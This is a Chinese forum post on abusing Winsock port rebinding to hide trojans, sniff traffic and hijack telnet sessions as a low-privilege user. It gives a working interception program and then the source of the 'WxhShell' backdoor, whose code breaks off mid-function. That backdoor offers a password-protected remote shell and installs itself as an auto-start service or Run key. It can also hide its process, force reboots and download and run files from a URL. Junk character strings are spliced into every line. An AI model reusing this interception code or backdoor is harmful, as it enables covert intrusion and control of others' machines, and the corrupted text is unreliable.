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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ugTsI~aE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o=7,U/{D!  
6 ScB:8M  
  saddr.sin_family = AF_INET; GB Yy^wjU  
ph5{i2U0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N`efLOMl]  
1!.-/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d"Zu10  
1qNO$M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N gF7$@S  
tE=09J%z  
  这意味着什么?意味着可以进行如下的攻击: 2)\->$Q(H  
xAd@.^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J/e]  
Jg=!GU/::  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "!zJQl@  
[yN+(^ i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ./XX  
SZe55mK`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wl]3g  
_"Bj`5S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M#o.O?.`  
``jNj1t{}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1!(lpp  
Cs>`f, o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2 G_KTYJ  
xSD*e 0  
  #include M;<!C%K>  
  #include g=nb-A{#  
  #include _:Xmq&<W  
  #include    Nf!N;Cy?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iS+"Jsz  
  int main() i!}k5k*Z  
  { [(x<2MTj  
  WORD wVersionRequested; CBf[$[e  
  DWORD ret; .5a>!B.I  
  WSADATA wsaData; _2G _Io  
  BOOL val; hJ ^+asr  
  SOCKADDR_IN saddr; HJ]v-  
  SOCKADDR_IN scaddr; >D!R)W`  
  int err; rwXpB<@l@  
  SOCKET s; 03 gbcNo  
  SOCKET sc; 50 Gr\  
  int caddsize; 7uc\AhOk6  
  HANDLE mt; W !j-/ql  
  DWORD tid;   7mYcO3{5{  
  wVersionRequested = MAKEWORD( 2, 2 ); +^(_S9CO  
  err = WSAStartup( wVersionRequested, &wsaData ); -(?/95 Y  
  if ( err != 0 ) { @-[}pZ/  
  printf("error!WSAStartup failed!\n"); w~v6=^  
  return -1; %]I#]jR  
  } &zy%_U2%  
  saddr.sin_family = AF_INET; AVD hgJv  
   M^oL.'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xP'0a  
Ty&1R?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YSGE@  
  saddr.sin_port = htons(23); hQx*#:ns  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +'g O%^{l  
  { BkB _?^Nv8  
  printf("error!socket failed!\n"); M}[Q2v\  
  return -1; 6 agG*x  
  } {rMf/RAE  
  val = TRUE; 36OQHv;&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B1|nT?}J(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xK_UkB-$i  
  { ")MHP~ ?  
  printf("error!setsockopt failed!\n"); kbb!2`F!%  
  return -1; 95#]6*#[4!  
  } J8S$YRZ_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;&J>a8B$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >xo<i8<Miv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1 jB0gNe  
dj (&"P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VC/n}7p  
  { *Lrrl  
  ret=GetLastError(); m   uO.  
  printf("error!bind failed!\n"); {2:baoG-  
  return -1; ?aTH<  
  } QEqYqAGzu|  
  listen(s,2); Mu`_^gG  
  while(1) TM6wjHFm  
  { 3G4WKg.^  
  caddsize = sizeof(scaddr); 1W >/4l  
  //接受连接请求 h?dSn:Y\?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); heIys.p  
  if(sc!=INVALID_SOCKET) Uzvd*>mv  
  { YQ:$m5ai  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j;}-x1R  
  if(mt==NULL) %!Eh9C*  
  { d)uuA;n  
  printf("Thread Creat Failed!\n"); a({Rb?b  
  break; gD)M7`4  
  } N~/X.D4e#  
  } E8kD#tL  
  CloseHandle(mt); ]_B<K5  
  } %%X/gvaJ  
  closesocket(s); }Y!V3s1bm  
  WSACleanup(); #g$I>\O<  
  return 0; 2H$](k?   
  }   ru`7iqcz  
  DWORD WINAPI ClientThread(LPVOID lpParam) UNb7WN  
  { TU_'1  
  SOCKET ss = (SOCKET)lpParam; JzN "o'  
  SOCKET sc; .?NfV%vv  
  unsigned char buf[4096]; kXhd]7ru  
  SOCKADDR_IN saddr; h *;c"/7  
  long num; 6 DQOar>d  
  DWORD val; [7.Num_L  
  DWORD ret; 4qDO(YWf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4 `l$0m@>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A7Y CSjB  
  saddr.sin_family = AF_INET; N:3=G`Ws  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pn^:cr|  
  saddr.sin_port = htons(23); I \1E=6"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *%jXjTA0D  
  { ]p+KN>1e  
  printf("error!socket failed!\n"); X_X7fRC0  
  return -1; gHp4q!SJ7  
  } <fBJ@>  
  val = 100; r+%3Y:dZE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  =AaF$R  
  { 66>X$nx(z  
  ret = GetLastError(); Nt\07*`qCr  
  return -1; KF *F  
  } m $[:J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _`=qc/-0  
  { ?pJ2"/K   
  ret = GetLastError(); D#'CRJh;7  
  return -1; $9\8?gS  
  } f 1SKOq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2|ee`"`  
  { ^~l@ _r  
  printf("error!socket connect failed!\n"); [MAPa  
  closesocket(sc); V8F! o  
  closesocket(ss); <k1muSe  
  return -1; Yqh-U%"'  
  } uYs45 G  
  while(1) 4V[(RXc/  
  { rJf{YUZe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a++gwl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @)Vb?|3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .&]3wB~  
  num = recv(ss,buf,4096,0); 2va[= >_  
  if(num>0) p?Ux1S  
  send(sc,buf,num,0); qYe`</  
  else if(num==0) .DwiIr'  
  break; j# c@dze  
  num = recv(sc,buf,4096,0); H{E(=S  
  if(num>0) tAjT-CXg  
  send(ss,buf,num,0); ![{/V,V]~  
  else if(num==0) \l0!si  
  break; Fi+ DG?zu  
  } G $*=9`  
  closesocket(ss); jm&[8ApW  
  closesocket(sc); |;V-;e*  
  return 0 ; ,>(X}Q  
  } zuMz6#aCC8  
ByoI+n* U  
-[>J"l  
========================================================== sDgo G  
ec^{ez@`  
下边附上一个代码,,WXhSHELL y<IHZq`C3  
L6qK3xa}  
========================================================== s!gVY!0  
F_@` <d!  
#include "stdafx.h" %eHr^j~w$  
cc=_KYZ1k  
#include <stdio.h> -2laM9Ed  
#include <string.h> :k_)Bh?+  
#include <windows.h> #Z]Cq0=  
#include <winsock2.h> h3>u[cX%  
#include <winsvc.h> ?:GrM!kq76  
#include <urlmon.h> zBI2cB8;P  
[xfg6  
#pragma comment (lib, "Ws2_32.lib") p `oB._ R  
#pragma comment (lib, "urlmon.lib") ,lCFe0>k!=  
Xq"9TYf$  
#define MAX_USER   100 // 最大客户端连接数 V=1yg24B<  
#define BUF_SOCK   200 // sock buffer Y -BZV |  
#define KEY_BUFF   255 // 输入 buffer `mZ1!I-T  
[G+@[9hn%  
#define REBOOT     0   // 重启 U\{I09@E 0  
#define SHUTDOWN   1   // 关机 [4;_8-[Nv  
B2BG*xa  
#define DEF_PORT   5000 // 监听端口 kSge4?&  
F-~Xbz%  
#define REG_LEN     16   // 注册表键长度 k=Wt57jt  
#define SVC_LEN     80   // NT服务名长度 *mn9CVZ(}M  
Eos;7$u[  
// 从dll定义API iH>JR[A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8PeVHpZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [=-,i#4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o2YHT \P n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kot KKs   
<#Fex'4  
// wxhshell配置信息 S:2 xm8 i  
struct WSCFG { H`3w=T+I  
  int ws_port;         // 监听端口 <VN< ~sz  
  char ws_passstr[REG_LEN]; // 口令 }]=A:*jD  
  int ws_autoins;       // 安装标记, 1=yes 0=no V~.SgbLc  
  char ws_regname[REG_LEN]; // 注册表键名 \Ym$to  
  char ws_svcname[REG_LEN]; // 服务名 0^2e^qf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5M8   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /f. ,xs!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f~jd N~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h4slQq~K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )=N.z6?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h_Er$ZT64  
L^s?EqLXS  
}; RHu,t5,  
z&qOu8Jh  
// default Wxhshell configuration T sJ71  
struct WSCFG wscfg={DEF_PORT, /3"S_KE1@+  
    "xuhuanlingzhe", &7,/^ >">  
    1, f .h$jyp(  
    "Wxhshell", BNJG-b|g^  
    "Wxhshell", :w4H$+j  
            "WxhShell Service", _ -ec(w~/  
    "Wrsky Windows CmdShell Service", `Sj8IxO  
    "Please Input Your Password: ", -%VFC^'5  
  1, k]TJL9Q  
  "http://www.wrsky.com/wxhshell.exe", tJGPkeA  
  "Wxhshell.exe" hL;??h,!_  
    }; 1mEW]z  
zcEpywNP  
// 消息定义模块 hB:+_[=Kj.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t!ZFpMv]n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [h\_yU[ P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7vH4}S\ q  
char *msg_ws_ext="\n\rExit."; .L]2g$W\p  
char *msg_ws_end="\n\rQuit."; iVqF]2 >  
char *msg_ws_boot="\n\rReboot..."; 127@ TN"  
char *msg_ws_poff="\n\rShutdown..."; KA`)dMWL  
char *msg_ws_down="\n\rSave to "; wp/x|AV  
P}PMRAek  
char *msg_ws_err="\n\rErr!"; )fT0FLl|1  
char *msg_ws_ok="\n\rOK!"; F<6{$YI  
(ubK i[)  
char ExeFile[MAX_PATH]; A_6Dol=J@  
int nUser = 0; ,6U=F#z  
HANDLE handles[MAX_USER]; %#]/ ]B/4  
int OsIsNt; ?H!X p  
P6tJo{l8w  
SERVICE_STATUS       serviceStatus; :~,akX$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZQJh5.B  
*41WZE  
// 函数声明 5bWy=Xk B  
int Install(void); {\= NZ\  
int Uninstall(void); XoiZ"zE  
int DownloadFile(char *sURL, SOCKET wsh); nm,Tng oj  
int Boot(int flag); m )<N:|  
void HideProc(void);  & *&  
int GetOsVer(void); 'Cywn^Ym#  
int Wxhshell(SOCKET wsl); %__.-;)o  
void TalkWithClient(void *cs); abV,]x&.0  
int CmdShell(SOCKET sock); 7aN oqS+  
int StartFromService(void); %A( hmC  
int StartWxhshell(LPSTR lpCmdLine); ]<O -  
A5dH*< }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'V Y\ut  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )4/UzR$  
,!^w  
// 数据结构和表定义 }% ?WS  
SERVICE_TABLE_ENTRY DispatchTable[] = 9**u\H)P6  
{ A'? W5~F  
{wscfg.ws_svcname, NTServiceMain}, D-5~CK4`  
{NULL, NULL} ~/R}K g(  
}; xWty2/!h  
0h2MmI#  
// 自我安装 [WunA,IuR  
int Install(void) <=~'Pd-f(  
{ a% 82I::t  
  char svExeFile[MAX_PATH]; &sPu 3.p  
  HKEY key; Hkj| e6  
  strcpy(svExeFile,ExeFile); YWa9|&m1  
Jb z>j\  
// 如果是win9x系统,修改注册表设为自启动 $Jj0%?;  
if(!OsIsNt) { $2*&\/;-E!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SB!m&;Tb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o&:n>:im  
  RegCloseKey(key); %PU {h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > qIZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KTu&R6|  
  RegCloseKey(key); a<V* )  
  return 0; V-9z{  
    } qS2]|7q?Tc  
  } l_*:StyR+  
} X`n*M]  
else { g.O? 1bebe  
|a[ :L  
// 如果是NT以上系统,安装为系统服务 e?b<-rL   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $L$GI~w/  
if (schSCManager!=0) p/uOCQ|1l  
{ <b;Oap3  
  SC_HANDLE schService = CreateService vro5G')  
  ( D D Crvl  
  schSCManager, F30jr6F\  
  wscfg.ws_svcname, WN?meZ/N/  
  wscfg.ws_svcdisp, i(>v~T,(  
  SERVICE_ALL_ACCESS, Z$a4@W9o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _N`pwxpsb  
  SERVICE_AUTO_START, =E%<"FB  
  SERVICE_ERROR_NORMAL, =R\-mov$  
  svExeFile, q\5C-f  
  NULL, qxW 2q8QHo  
  NULL, bYH! P/  
  NULL, /-)|dP  
  NULL, -`ykVH gg  
  NULL U^X8{,8O  
  ); -?<L"u  
  if (schService!=0) Pi|oO-M  
  {  =!Y{Mz  
  CloseServiceHandle(schService); 3/hAxd  
  CloseServiceHandle(schSCManager); gb0ZGnI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X{riI^(  
  strcat(svExeFile,wscfg.ws_svcname); <ByDT$E_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IN9o$CZ:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MRHkQE+K@8  
  RegCloseKey(key); P1l@K2r  
  return 0; #[#dc]D  
    } }UWRH.;v  
  } eL!G, W  
  CloseServiceHandle(schSCManager); /C}fE]n{X  
} :O}<Q  
} XUT\nN-N  
L:F:ZOM6`  
return 1; #8d$%F))  
} p{Gg,.f!HM  
s2ys>2k  
// 自我卸载 WH$ Ls('  
int Uninstall(void) oYN# T=Xi  
{ 62LQUl]<  
  HKEY key; jQ31u  
$bKa"T*  
if(!OsIsNt) { Fw5r\J87c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W}1h~rNy  
  RegDeleteValue(key,wscfg.ws_regname); |KC3^  
  RegCloseKey(key); 9?W38EF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;nJCd1H  
  RegDeleteValue(key,wscfg.ws_regname); )FqE8oN-  
  RegCloseKey(key); -Q8pWtt  
  return 0; 4[&6yHJ^  
  } " ,rA  
} l9.wMs*`X  
} ),6Z1 K1  
else { c$'UfW  
g%<7Px[W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {:enoV"  
if (schSCManager!=0) 6A/|XwfE/v  
{ K~WwV8c9;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z@8amT;Y  
  if (schService!=0) /qL&)24  
  { hK$-R1O  
  if(DeleteService(schService)!=0) { y6?Q5x9M  
  CloseServiceHandle(schService); -}juj;IVv  
  CloseServiceHandle(schSCManager); GOwd=]e  
  return 0; S[" &8Fy  
  } u;:N 4d=f'  
  CloseServiceHandle(schService); \9/n~/{  
  } y K&)H+v  
  CloseServiceHandle(schSCManager); t5N4d  
} |R*fw(=W  
} _H8)O2mJ  
+o/;bm*U<K  
return 1; O'-lBf+<  
} 1|cmmUM-'v  
u-k?ef  
// 从指定url下载文件 {+t'XkA  
int DownloadFile(char *sURL, SOCKET wsh) uYMW5k_,>  
{ {hRAR8  
  HRESULT hr; Qg _?..%  
char seps[]= "/"; O!]w J  
char *token; n5]<|>U vx  
char *file; LZ ID|-  
char myURL[MAX_PATH]; >)pwmIn<  
char myFILE[MAX_PATH]; Gz@%UIv  
._tv$Gd@k  
strcpy(myURL,sURL); dYV)lMJ*  
  token=strtok(myURL,seps); +uwjZN'9a  
  while(token!=NULL) $ 9DZ5"  
  { c/2OR#$t  
    file=token; |#2<4sd  
  token=strtok(NULL,seps); km<~H w>Z  
  } Wu Gm~<NS  
#G{T(0<F  
GetCurrentDirectory(MAX_PATH,myFILE); 6U+#ADo  
strcat(myFILE, "\\"); G%kXr$?W  
strcat(myFILE, file); ?0;b}Xl-  
  send(wsh,myFILE,strlen(myFILE),0); ?I/,r2ODLh  
send(wsh,"...",3,0); c@q>5fR/c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l2`8]Qr   
  if(hr==S_OK) T)Nis~  
return 0; >v<}$v6D~  
else ,.}PZL  
return 1; uV 6f~cQ  
G(0 bulq  
} j^!J: Bj  
) L{Tn 8  
// 系统电源模块 {U(h]'  
int Boot(int flag) S5Px9&N8(  
{ tc,7yo\".  
  HANDLE hToken; QX]tD4OH  
  TOKEN_PRIVILEGES tkp; (I~,&aBr  
uN\9c Q  
  if(OsIsNt) { [7s5Vt|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?<LG(WY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n'h )(^  
    tkp.PrivilegeCount = 1; w\2[dd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r 2H'r ,N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rP\ 7C+  
if(flag==REBOOT) {  +NXj/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f@/qW!o  
  return 0; X"1<G3m4  
} eO9nn9lql  
else { l9L;Tjj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1VZ>*Tl  
  return 0; <?J7Z|  
} +`4}bc ,G  
  } b{dzbmak  
  else { OVh/t# On  
if(flag==REBOOT) { Uq+ _#{2(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m5x>._7le  
  return 0; < NAR'{f  
} BA>0 +  
else { Q)}\4&4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =}"hC`3e  
  return 0; 8 [."%rzN  
} m X1oRhf  
} q}1$OsM  
6aK--k  
return 1; P< &/$x6  
} %8{_;-f  
%5KR}NXX6  
// win9x进程隐藏模块 ^#Y6 E  
void HideProc(void) M!jW=^\  
{ )Ud S (Bj  
=Fs LF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uE|[7,D7;u  
  if ( hKernel != NULL ) -*Pt781  
  { e S=k 48'U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]`kvq0Gyb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X}=f{/\S  
    FreeLibrary(hKernel); i|O7nB@  
  } <&Uk!1Jd  
GJuD :  
return; [uY 2N h  
} 7r<>^j'  
w${=dW@K  
// 获取操作系统版本 C/vLEpP{(/  
int GetOsVer(void) jlP7'xt1%  
{ ,q HG1#^  
  OSVERSIONINFO winfo; xq)/QR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _NZHrN  
  GetVersionEx(&winfo); :58'U|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]VH@\ f  
  return 1; WuQYEbap  
  else 8{l=`y"nB  
  return 0; (j I|F-i  
} yy74>K  
? 7EVmF  
// 客户端句柄模块 d&u/7rm  
int Wxhshell(SOCKET wsl) 4a|Fx  
{ '9dtIW6E  
  SOCKET wsh; N9PM.nbd%  
  struct sockaddr_in client; [-gKkOT8E  
  DWORD myID; <khAc1"  
UmE{>5Pt  
  while(nUser<MAX_USER) \|t0~sRwh  
{ y~=hM   
  int nSize=sizeof(client); i+Dgw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @[RY8~  
  if(wsh==INVALID_SOCKET) return 1; 614/wI8(  
9"RfL7{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rQm  
if(handles[nUser]==0) 8'[wa  
  closesocket(wsh); "poTM[]tZ7  
else =4 H K  
  nUser++; bx^EaXj(r  
  } fYjsSUnf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]."c4S_)|  
NKKO A  
  return 0; ?t42=nvf  
} UhTr<(@  
k f!/9  
// 关闭 socket ?KXQ)Y/su  
void CloseIt(SOCKET wsh) j1C.#-P[  
{ wg.fo:Q  
closesocket(wsh); {wXN kq  
nUser--; $:N "*  
ExitThread(0); |P7f^0idk  
} ` W>B8  
E|;5Z*  
// 客户端请求句柄 &RrQ()<as  
void TalkWithClient(void *cs) Kc\'s65.]  
{ cB}2(`z9 B  
,O)\,tg  
  SOCKET wsh=(SOCKET)cs; * SMPHWH[c  
  char pwd[SVC_LEN]; F\rSYjMyk  
  char cmd[KEY_BUFF]; 7YjucPH#  
char chr[1]; vaOL6=[#:g  
int i,j; d)ZSzq  
%pkq ?9  
  while (nUser < MAX_USER) { %d J>8.jW@  
R<-C>D  
if(wscfg.ws_passstr) { 15 11<,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "BfmX0&?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 73ljW  
  //ZeroMemory(pwd,KEY_BUFF); 3F}KrG  
      i=0; 5yiiPK$qr  
  while(i<SVC_LEN) { f1$mh1J W  
:fVMM7  
  // 设置超时 'f7 *RSKqb  
  fd_set FdRead; ydqmuZ%2h#  
  struct timeval TimeOut; ]q7 LoH'S  
  FD_ZERO(&FdRead); +%\j$Pv  
  FD_SET(wsh,&FdRead); 7U`S9DDwq  
  TimeOut.tv_sec=8; # pB:LPEsK  
  TimeOut.tv_usec=0; = DTOI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e=UVsYNx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cloSJmUlQ  
e@-Mlq)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {/xs9.8:JX  
  pwd=chr[0]; TK/'=8  
  if(chr[0]==0xd || chr[0]==0xa) { W.D3$  
  pwd=0; %N>NOk)  
  break; { DQ E7kI  
  } `$SEkYdt  
  i++; AE4~M`6D  
    } x <\D@X^  
4 6lEJ  
  // 如果是非法用户,关闭 socket ~y H>Ko9F}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Um4\QvUx  
} m{.M,Lm:  
)B$P#dP)i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NVqC|uEAF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); akW3\(W}  
6Su@a%=j  
while(1) { "5JNXo,H  
[H%?jTQ  
  ZeroMemory(cmd,KEY_BUFF); LsQ8sFP_"  
tm1UH 4  
      // 自动支持客户端 telnet标准   6Hbf9,vI  
  j=0; `h9)`*  
  while(j<KEY_BUFF) { V<V\0n!0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .!8X]trEg  
  cmd[j]=chr[0]; i;hc]fYb=K  
  if(chr[0]==0xa || chr[0]==0xd) { niHL/\7u  
  cmd[j]=0; <uKm%~xi<  
  break; s P4 ,S(+e  
  } 71"JL",  
  j++; zMYd|2bc  
    } m?VRX .>  
m_"p$m;  
  // 下载文件 TBKd|D'H  
  if(strstr(cmd,"http://")) { )| x%o(n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DGZY~(]  
  if(DownloadFile(cmd,wsh)) -+=:+LhSMb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #H6g&)Z_  
  else j"IM,=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 51M^yG&M  
  } 99Yo1Q 0  
  else { ~d%;~_n  
7Fi2^DlgX  
    switch(cmd[0]) { ff}a <w  
  >6I.%!jU  
  // 帮助 !UMo4}Y  
  case '?': { &u1g7# #  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u[i7:V%  
    break; ,#bb8+z&p  
  } 4iv]N 4  
  // 安装 #xP!!.DF(  
  case 'i': { !b]2q%XM  
    if(Install()) M=AvD(+ha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7"BlT!V\  
    else H : T N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xeHb89GnoQ  
    break; Lubs{-5lk  
    } *Cnq2=A]A  
  // 卸载 ^5 ^}MB%  
  case 'r': { fcE)V#c"g  
    if(Uninstall()) j:e^7|.   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `N,Vs n"  
    else 3IK(f .  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U$A7EFK'  
    break; Q-`{PJ(p  
    } D!RE-w92X  
  // 显示 wxhshell 所在路径 (}C^_q:7d  
  case 'p': { $,;S\JmWP  
    char svExeFile[MAX_PATH]; '>e79f-O)  
    strcpy(svExeFile,"\n\r"); P*SCHe'  
      strcat(svExeFile,ExeFile); (H8C\%g:  
        send(wsh,svExeFile,strlen(svExeFile),0); TsX+. i'  
    break; <4Q12:  
    } !b7'>b'J<1  
  // 重启 k%l_N)38  
  case 'b': { =F'M~3M   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Be{/2jU%  
    if(Boot(REBOOT)) 98A(jsj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dr6s ^}}~n  
    else { ;wbUk5Tf/  
    closesocket(wsh); =a9etF%B  
    ExitThread(0); ~#x :z ^U  
    } NuD[-;N]  
    break; |)-|2cPRur  
    } W`N}  
  // 关机 x[vBK8  
  case 'd': { ~ThVap[*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zlk,])9Q  
